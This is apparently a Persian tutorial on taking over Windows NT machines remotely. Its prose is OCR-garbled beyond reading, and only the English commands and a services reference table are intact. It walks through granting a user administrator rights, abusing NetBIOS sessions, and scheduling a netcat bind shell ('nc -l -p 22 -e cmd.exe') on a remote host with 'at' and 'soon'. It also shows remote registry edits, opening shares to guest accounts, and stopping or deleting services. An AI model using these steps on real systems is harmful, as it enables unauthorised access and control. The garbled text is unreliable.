araz
The command completed successfully.
pogicswe paS 2 W Admin cowd Sl g) ali oSl Wao plgscsw Vs . pu,ls Admin o> s olST L avw Gy
net localgroup Administrators ali /delete
lS1 0,bes plyso Vs (s 09,5 Gl 53 aS0s A4S v 9 1S nnd 0,L9> Aigicso) Ao B> 09,8 5l Sl ugl 9
Lpsangicso oiS adlol 69,8 ¢l @ g, ali
net localgroup Administrators ali /add
3> @ gigl &S pudly>so 9 pugdino 3ls Bl L a8 0 sb Wb aS wowl (silgiws Goyippe Ao sl giws ol
9 Lo 2rbo ey aS ol (i @ b awls 9, L0l 03] aSiyl ) ol (Sy3T sgiws aad LS g, 9 ewisaw Admin
SUlo plos i AdMIn 69,3 3,1y ST iy . (owsS J> 9y JSine €Xploit oS w Sy owsi S,gh> aS i adlgs aisS

0,0 Cowy 9) D9,S Luxod

: net session -\ -
g0 4 wilwS ax aSos wyle @) .l piowaw > session S VY| iluwS ax aS A pasiv Heiwd Gl SeS @
12w Gl 9y Hgiws ol sleasis )le piwuw @ remote
net session
Lpougise ol Aails g, @ session asd plg> swo £y Sl gl cownd U
net session /delete
S ploxs basd aSl .aiSsw ghd dyignolS Julbw U o Lxl jeiws cul Uiyd aS SyigmolS 5> Lo Sla session aod ¢yl
Lpaagicso puS p9ei yol> YiguolS @ b g, session
net session \\xxx.xxx.xxx.xxx /delete
net giws 3l Agicsw Net session Hgiws Sl> @ aS 3uuS wds L punl asuwls session yiguelS gl b asS cwl (s> 5> ¢l

.S oslasuwl net sess L sessions

: send net -1\

S3,8 aSiyl ) L piw ey 3,05 SESSIoN S g 0auw 3,le piw 4 WYl aS sols 5,9 4, message S plosso aS asS (o9
aSl Mio oS oslesiwl pigicso H9iws oul 3l sehaio cpa (Cowl wsowyy Ju8 session net jgiws SoS @ @ | )15 session
Lpaagise oo fs 9, Salam Refig pley «cowd piowuw 5> WYl aS Administrator « plg=

net send Administrator Salam Refig

LPAUIGI SO ¢ i 32 9) ,olgu UAoD ‘_\J)lb session WMl as Q\Jl.:_gl Aod Cu,olgzp a3l O).Sg\ng_ua,olgu U_9| > u-’l PR



net send /users Salam Refig

i Ll shell S5 (g 5l wsusy local O a0 3L jgiiws ol .\J)Sw Qod g plew g

:net wlhgiws ulw -\Y
ey Baey g 2,05 3,08 ) w j93iug 5l Slasew > as net group g net computer Jio dsiws net wligicws Syrw S
9 net pause g net continue g net stop g net config Jso ouls Wduugrw usuio Shy jeiws Syrw S S 9 b Ldlgs>

LS A=y wld> > asS start net

€l NTRK -

o0 (woy aidl 9) A8l CD Sy wygo @ g owl wdlwg,SHbo 51 Jg.axo NTRK .eewl NT Resourse Kit wasso NTRK
Sl 5 bl Sl (sSWBLS 5 (siloyslas Sl il Srw Su g Ao yugd U NT Srw Slajgaug wlie Slaaseu
ALl i) o) H9rw 939 yno LS aS AS oSS aSd Vo @ pd cwladss juiited So Jio NTRK oscsw 51,8

s as (e, 13800, el 5o 390 59w 59309 VS S Shy aS wowl csuldaol 51 NTRK Sa o8 5l pd 9 xidy

Ol Sl 2igicno Loy pamugivano 95 pand L1> oo aS VI .cowl Ul 131 S99 395 Uloyd
plao owysl agS ol adl) 0wsS 1oy caawsiows )1l ool 5l Sslaes a [http://www.dynawell.com/support/ResKit s

Pds0 T o) acgoxo ol Sa,l38le,0 piepe Vi L (Lwd (igildiue 83l 55 Uex S o s

: Schedule Service L ,8 S, vl -l

1sc-)
Sl Gl L, s a8 cscungrw Gosipn (S g adgio (£, s D 95 ol S puisicse Kl Gl SeS @
O uals Uloj )3 aS oS lslg 9y (silyd Hgw aS add s UKl bo U g w ol .owl schedule service (pusls Jaise
S S ilyd i9aolS U 9y (sil>0yi puiaigicae 9 eSS NEtBIOS U (sidy Al Lgisl a8l .aas plxil 95 (sol>
aS puS S, puiaigicse ol S)slge 5> b S SIS L Se; LigasolS Used iy sawS aS pyidicse Hlaiie 1L Vsose
schedule service SoS @ .owS 1>l 9, L1 gl puiuisgicons Ugose> g ain L=l Ll wgl JiguuolS waLw restart gdgo
Nc SoS @ aS 1wl S)gws Blgicsw Heiws oul Wio ) deui Ll jeiws 0ME cclw MO ,w Wi aS oS Laxiiio owigico
o puls LigaelS Lol (Sg, AdMIN cilST S Lo aS 3515 3,0,8 wSx,lg0 5> s ol (350 bl (55L,8 SigasolS Se, wysy S
adl) pusS Jled sb,d yiguolS )3 g, schedule service Mio puigi SC,lul bhwgs aSiul Sy v Hlasl 5 s sLVs @
aS 3uS @8> owS !y NetBIOS (s1,b Sl pols wilSl S SoS a; session Sy b sl aowls Jlsd Lol Js s &Sl
Pl net use jgiws SoS @ ousS aS jebugesd g, L8 Gul e by Admin ollas! adaw 55 wolS] oSl loi> L session
P9l U9.0593 yigawolS > i L8, session as V> . eusswo
sc \\xxx.xxx.xxX.xxx start schedule
Lpgisicse Dlg>
SERVICE_NAME: schedule
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
STATE : 2 START_PENDING

(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)

WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : O (0x0)
CHECKPOINT ¢ 0x0

WAIT_HINT : 0x7d0



schedule s schedule aolS ¢ wowl Guugyrw S g9,00 Sl start aolS asS auS wds .sg o 9,0 schedule service o
&5lg 5,5 XXXXXXXXXXXX | jekaio VU jgiws 55 .agabeswo Jdled sl LiguolS s schedule service jgiws ol U puw Service
Lols ulal session <5 aS ip uged owl (i3 ip

i wlo> 395 Jled Ju8 51 schedule service 3|

[SC] StartService FAILED 1056:

An instance of the service is already running.
rat-v
S >l 9, ( schedule job L ) schedule task ay plg>csw V> (ani Jled (sl LigumolS 5 schedule service aSil 5l asy
ol 53 S,199 @ 9, NC L8 o aS 2SS 4o Vi .39k [l (sols cuclw suw @S piS ageine 9) Heiwd Sy aSiyl (sisy
a Wb o aSiyl Vol Lasiy skl NC aiwgi @yey Sy «aSus asnds guy aS 0uS S, ploscso Vs g plos,S suS c:\something
Seicws buwgi (eisS aS ,ebugod g, , ol eyl w95 b8 ignolS welw 9 plo Vs Lpsls JuSLiw netbios session
igaolS celw b bodlus 9w wuclw ) cowl PM Y OV 9,0 caclw Min aS piS s adas>o .psesw plsl net time
I,>I nc -1 -p 22 -e cmd.exe jgiws (PM11:Y0 caclw ,w usy) LS50 a8,8s 0 plgsy aS1 Vs (591 adles welaso oo
pangiswo bl ci\something ;g8 ;s Mio pusS aS ,obuged ed NC LB g aiy
at \\xxx.xxx.xxx.xxx 11:25P "c:\something\nc -1 -p 22 -e cmd.exe"
30 9 s b LiguolS @ Wusl upload @ cswgi) Gy eiScsw b2l 393 iguolS Sl ) at pd 5 SC pd aS kS s
Aol 5L JiguelS wgl g, NetBIOS 5 g auwb Administrator s> [ b wolSI Wb whgiws ool Sh=l sly aswl
Loasicsw <4 b oani adlol schedule o] @y task ol Ul aS pisw plscso V>
at \\xxx.xxx.xXxX.xXX
Lpgiiiso o> o

Status ID Day Time Command Line

1 Today 12:25 PM c:\something\nc -1 -p 22 -e cmd.exe
ooagieso ouS S| schedule vewd Sl o) task ol ploz aSl
at \\xxx.xxx.xxx.xxx 1 /delete
g0 ) sac task ool S ID (gl cowss YU s aS (s 5> aS cowl oul p3,S oslaiwl ) sac I aSiul Juds
@ g >l remote g0 @y aSiyl Sl aS 35S [l (S)e> ains 9, hgiws ol a5 owl Gl at 9 SC 3,90 5> G K,
4 S5l aS cowl s 3 9 A4S B> g, \DOXXXXK XXX XXX Oylke Vb wlhgiows plod 5,800l Sy 9w 1=l local w90
Los - ulosos iy Ygomo sgiws 95 ool 51 03laiwl @igS ool gt S 0b8 sorw 5> 8 95 50 1L g >0 dlys session

paiS >l g, abgsre whhgiows Sygh> s Jui aS Vs el 5w 5> wsdid aS caowl (seblgo s sl 5l oslaiwl aswdsd

g

: soon -V

sl 2z 9, Ul LIS S bl Gl by sl oway sorw 53 9, Ulos A s S5k @S> sJg o3cswo plxl g, at LS Llas
9, NC -l -p 22 -e cmd.exe jgiw> A=y 4l )+ Wio 5l ool loawgi 9 remote w0 a4 oulo=s a8l Wis .03u0 plxil bo Sl 2
prngicn puS bl (il s oS,

soon \\xxx.xxx.xxx.xxx 10 "nc -1 -p 22 -e cmd.exe"

(! Sushx auigsese Ugise> ) ain bl JISg) js0 4 Aigicso pd sgiws Gdl « at Jilos

pulo3,S login



199 S > U 8 sl ~v

:reg -y
aSiul b)) lasownis SigaolS Sy ey (sidg apls gMbl aS jgbugesd .0,m0 58 @ 59309 53 Shim, Ul L Sk Ll el
@ (393599 RUN 5> wgl US,S b L Wio ) regedit aoly Sh=l b asgicse (s [lasl 55 (sSL81,S remote control &
b s s 9 (St oo g0 4 olose a1 osds apbly andls cawyiaws SSBLS ©igo A sediss Sriame,
registry aS o8 giul oS 0,02 NTRK I reg ob @y 5,1l 5l i sgamee aisno ucl ol 5 s oS seding 39 cSla, Lzl
ASs Jlocl Sy gud 0yips (Al Giugs &1 8lS Liwls a8l el sowlbus wleMbl (Sgl> 590u9
oslaiwl (ulgzcso remote s s &SI .cowl oslaswl J1 remote w00 @ pd 9 JSg) ©jg0 @ pd at g SC Jio o reg
ssbio 95 Sy Ll Gl 5l Veoso .auiul Administrator csawsows adaw > aS 3,0y JStas netbios session < ub o> (s
Jio aulS ounSy 03l 9, b (slus> oylgz a8l .(eNtrY) S350 9 (Key) 1S 03,S Sb g 0s,S adlal 1puiS s oslaiwl
[, Point=20.00 & 0.0 @ (S39,9 Sy HKLM\Software\MyCo\Araz 1JS )5 pulezs a8l Mo . Js18 Jio dS59,9 9 vl ;)98
Lpuangicsn il JSo) wygo @y @Sl 5w 9 ouiS adlal
REG ADD HKLM\Software\MyCo\Araz\Point=20.00
Lpengicse ooy plzol remote wieo 4 (sild yigmelS 53 9,18 Gued pulszy Sl g
REG ADD HKLM\Software\MyCo\Araz\Point=20.00 \\XxX.XXX.XXX.XXX
paugicso JSo) wll> )3 aiS Sb gy 2lS aod S plosy aST V>
REG DELETE HKLM\Software\MyCo\Araz\ /FORCE
g remote el s g
REG DELETE HKLM\Software\MyCo\Araz\ \\xxx.xxx.xxx.xxx /FORCE

LS oslaiwl update reg ;l reg add s> @ bhad aigl Us,S Alol Jio Buds pd Sd9,9 Sy US> L

: regini -0
Sl ool 8 puseswo L8 i dgay U b S 55 5, owiS adlol pudlessw aS (suldiSsg g o WS hasd .cwl reg Jio yiu)lS
Mio pU @ paiScswo 5U osiio b Sy ous plxil regini b pudlsse 9, (suVU LIS Olod a1 Mio 0ao plxil 9, S 390,18
Lowngicso JB 1> 9 Araz.ini

HKLM\Software\MyCo\Araz

Point = REG_SZ 20.00

LPAGISO AR 9

regini -m \\xxX.xXx.xXxx.xxX Araz.ini
Sl > Gl 53 pwsS Wlal (a.S) key Sy @ pudlo>cso o) (S29,9) ENLTY i aS 0,00 LIS A s2Bgo Vsoso Hgiws ol

PiS 51ST 95 seiws B LU N g plil reg i 9,8 Gl ulezy

Il -

: gettype -¢
3939 AS sguiese pasaie jeiwd ol Shl U e bl (b8 se,w S, JSo) Wjgo 4 b aS ol (sl Sl 13l
3939 SS9, o .9 4 b wwl Domain Controller asiul ¢ Windows Workstation b «ewl Windows Server ggi 5l «sil,d NT
paiigi 39> Yoo

gettype /v
pdaind Vo> 9

Windows NT [Enterprise/Terminal] Server Non-Domain Controller



t WL LG sl -o

: whoami -V
Sa> az 53 bo wsowpiws @S puian pudlascso V> aulonsol cowy (il sigmolS s shell S, wipbs @y aS auS 4oy
00 4 3L whoami ewS wsw oslaiwl Hl3810,5 ol 5l Ledaio Gy .(evloasw login swulSl ax b yieow,s o lcay ) wouwl

Lpaagicso oS bl 3050 9 03,5 Jluw,l Bad JigaolS @ g) L ool LU (i 39 L=l (85U,8 wSg, JISe)

whoami
Lpuginigso wlg> Mio 9
[Group 1] = "Everyone"
[Group 2] = "LOCAL"
[Group 3] = "IUSR_xxxx-yyyy"

P09l VU Ugl U bo aS cunwl (sailS1 osgi caod aS (wlhlas] adow b 51) (solST VU cedls gl 5o

: local -A
o ol cewy g, 09,5 S @ bgye SlaclSI sl v ewisicsw et localgroup giiws bowgi (easS YU s aS jgbuged
Sl 50l ey ozl g, LS w0d remote whgo 4 oules aS1 slsesw wls> U ieso [l local wygo a4 ub jeiws ol
=0 09,5 )5 pigl plos 9 ol 0sls JuSLini g, Netbios ay bgy o session a3l Mio . ewS oslaiwl local.exe
oougieso (Coud (suldculSl ax Administrators

local Administrators \\xxx.xXx.xXxX.XXX
: showgrps -4
ol SoS ) cwl Whoami JueSs (sulyg>ay aS sl aligswo w3 oslaiwl JSgJ wyg0 @ 1L aS cowl (sugs 5loww 51l
(ot bo ilS] powl aSils ) ol (alxo S®09,S @z gac pyaud 3ls Ywldl aS ulS| aS puiS BisS pd pigicso sl
Pl e pulsso aS a5l swlS1 e @ g>) 95 OleMbl puod aSul oo 9
paungivso (ol gac (suldog,S ax 5> 9 voun Ginawl paogl YU Gulal oVl aS (swlSl pign aSiyl sl

showgrps

Lpgiiiso o> o

User: [computer—-name\Administrator], is a member of:

computer-name\Administrators
\Everyone
.Cowl gac Everyone o Administrators 09,5 95 )5 aS wuwl Administrator oSl pewl @S Ao pamuiw
Loagicsw s S, sl Sleg,S ax s guest pwl @ LSl aS pigy ploz aST V>
showgrps guest
Lpgiiiswo Wlo=> o

User: [[computer-name\guest], is a member of:

\Everyone

[computer—name\Guests
55 ) owl plxil L8 o net user jgiws Jawgi [l cicwl uldog,S ax a4 (glsio wolSl VM8 aS puigy pudle>so sidy

o ozl o8 net user b LS ol pogogl VU (siolST as b wgosgs aS ouwigdy euless aSl oo (o ez VU

: showmbrs -\ -



« local.exe ,lul BV, (i L0550 pluil g, Net localgroups jgiws LIS Vlod [l (ol coowlo Hlas a0 Med aS S>,0,8 >
i8Sl ax csdxo 09,5 VMO 5 aS aSisw 9 axsly aS pd Lus,,S .aiw oslawl JSg) 9 sdxo wyg0 @ Ul
0> P U e yiowd uldeilSl ax (s ) cowd suldcslS| ax Administrators 0g,S s e ploz aS| Wio .cowd
paangiswo (20,13 9, Admin adaow

showmbrs Administrators

INTFS S jox0 S, » Sl -O
: perms -\

@ sl S b bas aS asS 16,9 Nauiy Jbesiwl JISg) wjgo a0 b aS o355 b LIS Jgl ToMSLiw JM> g oslell 99 15l &
) NTFS b ol 00y Saiuomingsl FAT32 Gigo @ pols gy S Ul Vsl aS gy audlescso Vs g ayloasis s,ly osowsw
@ aS1 1Ll o (o IS > Sime W 3 dlgs sl sl b LS @y caunl FAT32 S| |y cowl (sopo @G o0l
az ;398 VM (590 VMO Shy aSiul (s ) ol puyiws BB Sa> ax )3 5500 UM S|y ,gd VMS el NTFS @90
(3,05 Sex0
Wio ) Admin 05,3 51 wilSl Sy ol jsaio ¢l Shy § FAT32 b cewl 00y <o NTFS @jg0 @4 C gulys Mo U 1Vl
S Ll gy 505 seiws Vs 9 puSsw vkl g, ( Administrator
perms administrator c:
cowl FAT32 (susy ogiin 9y by wle> oSl
c:\ perms: #-——————-
NTFS b (o9l SlaZos Clg> I%) N
g8 Mo i pdlg>cswo ploas 5)lg Guest olSl L Mo od o 9 3l NTFS & )00 a0 D gil,> Wio Vs aS S (6,9 1Ll
Lpaungicsw Sowl NTFS Sl jemo Hha 5l oo pupicws 55 A> ax ccowd gil)s ool 5> aS wwwroot
perms guest d:\wwwroot
Lpgicbise wlg> Mio o
d:\wwwroot\ perms: No Access
t3ogliswo a8l .5)l00 s9=¢ guest cslSl Sy Vsl A sewyiws Eud wusy ol
d:\wwwroot\ perms: #RWXDPOA

)

Read

Write

X =

Execute

]

Delete

P Change Permissions

O Take Ownership

A General All

- No Access

* The specified user is the owner of the file or directory.

# A group the user is a member of owns the file or directory.

? The user's access permisssions can not be determined.

03 Bk YU Jgaxr U g) Bg,5 S5 S5 cewl (89S L0l (suldsoxo ax guest wilS] Mio aS auin igicswo sewlad ol b

.9 (pwls R Gy> Ug> ) wowd Read o551 oo YU Jlio 5> Min

: showacls -\ Y

Access Control U ACE Wb .auS pubis o, @j9=0 U aiSsw oslaiwl NTFS aS wowl suululd Control List Access U ACL Jgl



20 o ls 5098 LS sy Lols Slajeze had Lols SaeslSl U aiSsw JyiS g) 90 aS cowl wsuleMbsl Entries
vasie 95 5198 U b sus @ (sudy aS wolas (ul b (g pusS aS wowl perms.exe ugad Slaulo i S @ Ll ol
8 j:\wwwroot ;g3 elgse a8l Wio .Sy (s @i90 L Sl pd 9, Ol SlaasLisy; plos aS puS pulais pigicso oS0
Lpasngicen oS S guest Wio shy oo s
showacls /s /u:guest j:\wwwroot\
Ol 00 pagaine ;98 Sldjexo bsd eiS Bi> gigl S . puS i ploscso pd 9, WAzl aS S o pasine /5 A4S
Bl vle> SV s aalgs
Error: Volume type incorrect [FAT32]
5l Mio alioly NTFS a8l (s lo,lau wlhel 51 csdxo Bjex0 wsowp a0 can,d FAT32 &g @ gulys Wl aS (susy
User: [\guest]

has the following access to directory [7J:\wwwroot\]:

j:\wwwroot\

J:\wwwroot

j:\wwwroot\ali

NT AUTHORITY\SYSTEM Read [RX]
Everyone Read [RX]
NT AUTHORITY\SYSTEM Read [RX]
CREATOR GROUP Read [RX]
BUILTIN\Administrators Change [RWXD]
CREATOR OWNER Change [RWXD]

Sl pwwiss (Shy g% Agicses wi> aS duine S SHads Wols> aS auSs Lkl o) aslin,; 5y sl HJgd as S s
1S oslaiwl yuy Joa>

R GENERIC_READ

W GENERIC_WRITE

X GENERIC_EXECUTE )

D DELETE

A GENERIC_ALL

d FILE_READ_DATA (directory)

1 FILE_READ_DATA (file)
s SYNCHRONIZE

r FILE_READ_DATA

w FILE_WRITE_DATA

a FILE_APPEND_DATA

rE FILE_READ_EA

wE FILE_WRITE_EA

fx FILE_EXECUTE

: D share L ,8 S, ul -2

: rmtshare -\ Y



)00 U pwgicso il Gl SeS a4 s Gl s L pules,S skl Admin adaw L sawlSTL netbios 5l session S aS s (5,8
a8l Wi . oS S| g, share & b owS adlol share S, Min oS JyisS wsuild piwnw S, 9, d share acgo=o remote
share g plu ( Read lhsd oy ) sunles hhdd o )0 s guest powl a4 swlSI atwlg g, c:\info ;0Jgd «sul,d LiguolS s ploz
Lpooagis Wb «auwl mydata eowl @ share ¢l 9 ouS
rmtshare \\xxx.xxx.xxx.xxx\mydata=c:\info /GRANT guest:read
9, share uod plg>wso V> Change aiise read Sl (oiS ol pd Lusi o3la] il hid Slbay piwlgs>sw aSl
psangicse ouS Sb

rmtshare \\xxx.xxx.xxx.xxx\mydata /DELETE
: netwatch -\ ¥
w05 U Sl g cowlosbw yuldl LIS s .aS o wsl, o) ugl vy e g W share L S aS cowl S8 il &

Lo,

: netemd -0
o, Sy net use SwoS A pwiwigicse il Ugisl a8l . aulesls JuSiis b8 b netbios session S OV oo aS 3uS (5,9
ouangieso Araz tauil share oowl a8l Mo .l ol 1l ool b aineo 9, 58 Guod oS skl Ugl U LS sl oS5lxo

netemd \\xxx.xxx.xxx.xxx\Araz
srvcheck -\ #
55w 350,85 . 5,05 Caawyiws Vgl @ (siluiS ax g Cowd (suld share ax 9w Sg, aS puiaw aS WS sw SeS Lo @ Ll ol
psangicse owl 03bw Hlowy 2uls i o

srvcheck \\xxx.xxX.XXX.XXx

> netbios session S 4 5lo 9 S sw LIS remote W g0 aS auS wds
t ppo Sl ylw -2

Ao Al G i ase W0 W pd SC lows aui adlgS> csowyy Sa pud D
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Display
name

Status Description |Process name Service name

Installation
services

(Add/Remove . Application
Manual Services.exe or svchost.exe appmgt
Programs) - Management
Assign, Publish,

and Remove.

Actively collect
the names of
NetBIOS
resources on
the network,
creating a list
so that it can

. participate as a . Computer
Automatic Services.exe Browser
master browser Browser
or basic
browser (one
that takes part
in browser
elections).

This maintained
list of resources




(computers) is
displayed in
Network
Neighborhood
and Server
Manager.

Automatic

Manage
network
configuration by
registering and
updating IP
addresses and
DNS names.

Services.exe or svchost.exe

Dhcp

DHCP Client

Automatic

Resolves and
caches Domain
Name System
(DNS) names.

Services.exe

Dnscache

DNS Client

Automatic

Record System,
Security, and
Application
Events.

Viewed with the
MMC Event
Viewer
(eventvwr.exe
in NT).

Services.exe

EventLog

EventLog

Automatic
(if IIS
installed)

Allows
administration
of Web and FTP
services
through the
Internet
Information
Services snap-
in.

%SystemRoot%\System32\inetsrv\inetinfo.exe

IISAdmin

IIS Admin
Service

Automatic

Network
address
translation,
addressing, and
name resolution
services for all
computers on
your home
network
through a dial-
up connection.

svchost.exe -k netsvcs

SharedAccess

Internet
Connection
Sharing
(Internet
Connection
Firewall)

Automatic
or Disable

Manage IP
security policy

Isass.exe

PolicyAgent

IPSEC Policy
Agent




and starts the
ISAKMP/Oakley
(IKE) and the IP
security driver.

Disable

Generates
session keys
and grants
service tickets
for mutual
client/server

authentication.

Isass.exe

kdc

Kerberos Key
Distribution
Center

Automatic

Process the
delivery of pop-
up messages
sent by the
Alerter service,
or via NET
SEND. The
messages
appear on the
recipient's
machines, and
must be clicked
OK to
disappear.

This service is
also required to
receive any
messages sent
by the
Messenger
service from
another
machine.

This service is
not related to
Windows
Messenger

Services.exe

Messenger

Messenger

Manual

Manage objects
in the Network
and Dial-Up
Connections
folder (LAN and
remote
connections.)

svchost.exe -k netsvcs

Netman

Network
Connections

Automatic
- when
connected
toa

Network
Authentication:
maintains a
synced domain

Lsass.exe
(Local Security Authority Subsystem)

Netlogon

Net Logon




domain.
Manual for
stand-
alone
machines.

directory
database
between the
PDC and
BDC(s), handles
authentication
of respective
accounts on the
DCs, and
authenticates
domain
accounts on
networked
machines.

Manual or
Disabled

Allows
authorized
people to
remotely access
your Windows
desktop using
NetMeeting.

mnmsrvc.exe

Nmnsrvc

NetMeeting
Remote
Desktop
Sharing

Manual

Extends NT
security to
Remote
Procedure Call
(RPC) programs
using various
transports other
than named
pipes.

RPC activity is
quite common,
and most RPC
apps don't use
named pipes.

Services.exe

NtLmSsp

NT LM Security
Support
Provider

Automatic

Encrypt and
store secure
info: SSL
certificates,
passwords for
Outlook,
Outlook
Express, Profile
Assistant, MS
Wallet, and
digitally signed
S/MIME keys.

Pstores.exe

ProtectedStorage

Protected
Storage

Manual

Maintain the
RPC name

Locator.exe

RpcLocator

Remote
Procedure Call




server
database,
requires the
RPC service
(below) to be
started.
Database of
available server
applications.

(RPC) Locator

This RPC
subsystem is
crucial to the
operations of
any RPC
activities taking
place on a
system (DCOM,

Remote
Procedure Call
(RPC) Service

Automatic |Server Rpcss.exe or svchost -k rpcss RpcSs or
Manager, User Remote
Manager) Procedure Call
Rpcss.exe is (RPC)
also known as
dcomss.exe
(Distributed
Common Object
Model).
| Allow remote Remote
Automatic . . .
. registry regsvc.exe RemoteRegistry Registry
or disabled ) ) .
manipulation. Service
Disable for . .
. Allow incoming .
security . ) Routing and
connections via |svchost.exe -k netsvcs RemoteAccess
reasonsor | . Remote Access
dial in or VPN.
Manual
Enables starting .
. RunAs Service
Automatic | processes under .
. services.exe or svchost.exe secLogon (Secondary
or Disable |alternate
) Logon)
credentials.
This service is
required for the
use of the AT
command,
which allows
. ) Schedule (Task
Automatic |the scheduling |atsvc.exe or mstask.exe Schedule

of commands
(Jobs) to be run
on the machine,
at a specific
date & time.

scheduler)




Under NT it's a
Resource Hog.
Under XP it's
used by some
auto-tuning
operations.

Automatic

Stores security
information for
local user
accounts.

Isass.exe

SamSs

Security
Accounts
Manager

Automatic.
Disable on
an IIS
Server or if
no
resources
are shared.

Support for file
sharing, print
sharing, and
named pipe
sharing via SMB
services.

Services.exe

LanmanServer

Server

Automatic
(if IIS
installed)

Transports
electronic mail
across the
network

%SystemRoot%)\System32\inetsrv\inetinfo.exe

SmtpSvc

Simple Mail
Transport
Protocol
(SMTP)

Supports the
following
TCP/IP services:
Character
Generator,
Daytime,
Discard, Echo,
and Quote of
the Day.

tcpsves.exe

SimpTcp

Simple TCP/IP
Services

Automatic
(if
installed)

Agents that
monitor the
activity in
network devices
and report to
the network
console
workstation.

snmp.exe

Snmp

SNMP Service

Automatic
(if
installed)

Receives trap
messages
generated by
local or remote
SNMP agents
and forwards
the messages
to SNMP
management
programs

snmptrap.exe

Snmptrap

SNMP Trap
Service




running on this
computer.

Automatic

Track system
events such as
Windows logon,
network, and
power events.
Notifiy COM+
Event System
subscribers of
these events.

svchost.exe -k netsvcs

SENS

System Event
Notification

Support for
name resolution
via a lookup of
the LMHosts
file.
(Netbios/Wins)
This is an
alternative to
the more
standard DNS
lookup.

Services.exe

ImHosts

TCP/IP
NetBIOS Helper

Manual or
Disabled.

Allows a remote
user to log on
to the system
and run console
programs using
the command
line.

tintsvr.exe

TIntSvr

Telnet

Disable

Required for
Fast User
Switching,
Remote
Desktop and
Remote
Assistance

svchost.exe

TermService

Terminal
Services

Disable

Allow access to
web-resident
disk storage
from an ISP.
WebDAV
"internet disks"
such as Apple's
iDisk.

svchost.exe

WebClient

WebClient (XP)

Automatic

Provides system
management
information.

%SystemRoot%\System32\WBEM\WinMgmt.ex
e

WinMgmt

Windows
Management
Instrumentatio
n




Update the
computer clock
Automatic | by reference to . . . .
. ) . services.exe W32time Windows Time
or disable |an internet time
source or a time
server.
Automatic. o
Communication
or Manual
s and network
-fora .
connections.
stand- .
Services .
alone PC . lanmanworkstatio .
. dependent on [ Services.exe Workstation
with no o n
this being
LAN or
. started: Alerter,
internet
. Messenger, and
connection
Net Logon.
Provides Web
connectivity and
. administration _
Automatic World Wide
) through the . o o
(if IIS Int ; %SystemRoot%\System32\inetsrv\inetinfo.exe | W3Svc Web Publishing
nterne
installed) . Service
Information
Services snap-
in.
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:JSo) -
sclist
sc query
winmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )
1Ogoy) T

netsve /list \\XXX.XXX.XXX.XXX

g Schedule Wis ) ... L3 wleMbl g wsgs Stoped (wsgs Paused (wsgs Running b 51 Gungrw So by oy +

: ( Schedule :cowa ywl Key Name U Service Name asJl> ,> Task Scheduler :ciws ywl Display Name as

:JSq -
sclist | find "Schedule"
sc query Schedule
sc query Schedule | find "STATE"
sc gc Schedule
g0y -

netsvc Schedule \\xxx.XXX.XXX.Xxx /query

netsvc "Task Scheduler" \\xxx.XxX.xXXX.xXXx /query
sc \\XxXX.XXX.XXX.XXx query Schedule

sc \\XxXX.XXX.XXX.xXxx query Schedule | find "STATE"

sc \\XXx.xXxX.xXX.xXx gc Schedule

asJl> s Task Scheduler :cows (ol Display Name aS g w Schedule 5,90 55 Mo ) Guug,w So 0S,S Stopped +

:( Schedule :cowa Jwl Key Name L Service Name

:JSo) -
net stop Schedule
net stop "Task Scheduler"
sc stop Schedule

g0y -

netsvc Schedule \\xxx.xxXx.xXx.xxx /stop
netsvc "Task Scheduler" \\xxx.xXxx.xxX.xxx /stop

sc \\xxX.XxX.xXxX.xxx stop Schedule

,> Task Scheduler :c.cws Gl Display Name aS Luyg,w Schedule 560 55 Mio ) Guwgyw Sy 0,9l 5> Stopped <> 51 +
:( Schedule :cowa ywl Key Name | Service Name asJl>
:JSq -

net start Schedule



net start "Task Scheduler"
sc start Schedule
1ogey) -
netsvc Schedule \\xxx.xXx.xXx.xxx /start
netsvc "Task Scheduler" \\xxx.xxXx.xxXx.xxx /start

sc \\xxxX.xxXX.xxXx.xXxx start Schedule

> Task Scheduler :cowd vl Name Display aS Guug,w Schedule 5,90 55 Min ) pols Guwg,aw Sy Us,S Paused +

:( Schedule :cowa ywl Key Name | Service Name asJl>

:WJSq -
net pause Schedule
net pause "Task Scheduler"
sc pause Schedule

Ogod) T

netsvc Schedule \\xxX.xXxX.XXX.XxX /pause
netsvc "Task Scheduler" \\xxx.xxx.XXX.xxx /pause

sc \\XxXX.XXX.XXX.XXX pause Schedule

,> Task Scheduler :c.cws Gl Display Name aS uug,w Schedule 560 55 Wio ) Gugrw o ws,ol 5> Paused wdl> 51 +

:( Schedule :ccwa vl Key Name | Service Name asJl>

:JSo) -
net continue Schedule
net continue "Task Scheduler"
sc continue Schedule
1Qgoy) -

netsvc TermsService \\xXX.xXXX.XxX.xxX /continue
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continue

sc \\xxx.xXxx.xxx.xxx continue Schedule

aSJl> s> Task Scheduler :cowd wl Name Display aS juug,w Schedule 5,90 55 Wio ) wols Guug,w Sy Us,S Delete +

:( Schedule :cowa Sl Key Name L Service Name

:JSq) -
sc delete Schedule
instsrv Schedule remove
delsrv Schedule

g0y -

sc \\xxx.xxx.xxx.xxx delete Schedule

> Task Scheduler :cowa Sl Display Name aS uug,w Schedule s)g0 55 Mo ) Juug,w Sy ws,S Install L Create +
:( Schedule :ccwa vl Key Name | Service Name asJl>
:WJSq) -
sc create Schedule DbinPath=zzzz ( zzzz yani masire file ejrayi marbut be

Schedule )



instsrv Schedule zzzzz

srvany ??°?°? ( ba in dastur ham mishavad vali man syntax-esho nemidunam )
1ogey) -

sc \\XXX.XXX.XxX.xxxX create Schedule DbinPath=zzzz

9 ugrw Schedule @y bgs,o Display Name o aS 3uS (5,9 .0g0 Ss @ basd Vs (i pgoi Lyl (sioMow @ wg>
Cowl 88 L ouS oy ploswo 9 pigdsws g, gl Key Name | Service Name aS.Jl> > Task Scheduler :cows aS pigscswo

PG 9) 2 )G

sc GetKeyName "task scheduler"
plo>sw «oowl Schedule aS pigsso g, Key Name Wio ou)ls pd puSey s plgsso o aS cowl Sz le> o

pagicse 0230 9, Display Name

sc GetDisplayName schedule
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remote /s cmd zzzzzz
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ul> Cowgs 95 NC ) o3gr 03,5 oslaiwl How g5 aS Cwl Siux Uged 72777 g cowl sil)3 Ip Ulgic @y XXXXXX.XXX.XXX aS

( !,c)|.lj Cowgd 9) Lol

: netemd 1 oslawl +
